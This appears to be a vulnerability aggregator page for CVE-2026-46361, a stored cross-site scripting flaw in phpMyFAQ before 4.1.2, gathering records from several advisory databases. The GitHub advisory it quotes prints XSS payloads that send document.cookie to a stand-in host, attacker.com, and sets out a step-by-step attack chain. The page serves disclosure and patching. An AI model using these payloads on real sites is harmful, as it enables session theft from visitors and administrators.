CVE-2026-46361
phpMyFAQ - Stored Cross-Site Scripting via raw Filter in search.twig
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
phpMyFAQ - Stored Cross-Site Scripting via raw Filter in search.twig
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
CVE-2026-46361- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-08
EUVDEUVD-2026-30596
8.2
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
EUVD-2026-30596- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Updated
- 2026-11-08
GitHub AdvisoriesGHSA-478m-mrw4-qf2w
8.2
Duplicate Advisory: phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-pqh6-8fxf-jx22. This link is maintained to preserve external references.
Original Description
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
GHSA-478m-mrw4-qf2w- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pqh6-8fxf-jx22
6.9
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
Affected Files
| File | Location | Issue |
|---|---|---|
| phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape |
| phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | html_entity_decode(strip_tags(...)) restores encoded payloads |
| phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
- Retrieves the record from the database
- Applies…
- Record
GHSA-pqh6-8fxf-jx22- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
8.2
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
CVE-2026-46361- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
8.2
phpMyFAQ - Stored Cross-Site Scripting via raw Filter in search.twig
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
CVE-2026-46361- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-478m-mrw4-qf2w
8.2
Duplicate Advisory: phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-pqh6-8fxf-jx22. This link is maintained to preserve external references.
Original Description
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
- Record
GHSA-478m-mrw4-qf2w- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-pqh6-8fxf-jx22
6.9
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
Affected Files
| File | Location | Issue |
|---|---|---|
| phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape |
| phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | html_entity_decode(strip_tags(...)) restores encoded payloads |
| phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
- Retrieves the record from the database
- Applies…
- Record
GHSA-pqh6-8fxf-jx22- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phpmyfaq/phpmyfaqPackagist |
through 4.1.1 | 4.1.2 |
thorsten/phpmyfaqPackagist |
through 4.1.1 | 4.1.2 |
phpmyfaq/phpmyfaqPackagist |
before 4.1.2, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.2 |
thorsten/phpmyfaqPackagist |
before 4.1.2, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | EUVD | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46361 is a high vulnerability (CVSS 8.2) in Thorsten Phpmyfaq, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in phpmyfaq/phpmyfaq 4.1.2.
References
github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22
vulncheck.com/advisories/phpmyfaq-stored-cross-site-scripting-via-raw-filter-in-search-twig
nvd.nist.gov/vuln/detail/CVE-2026-46361
github.com/advisories/GHSA-478m-mrw4-qf2w
github.com/advisories/GHSA-pqh6-8fxf-jx22
github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46361.json
github.com/thorsten/phpMyFAQ
Left out here: 240 versions and the rest of 2 source descriptions. The JSON record has them.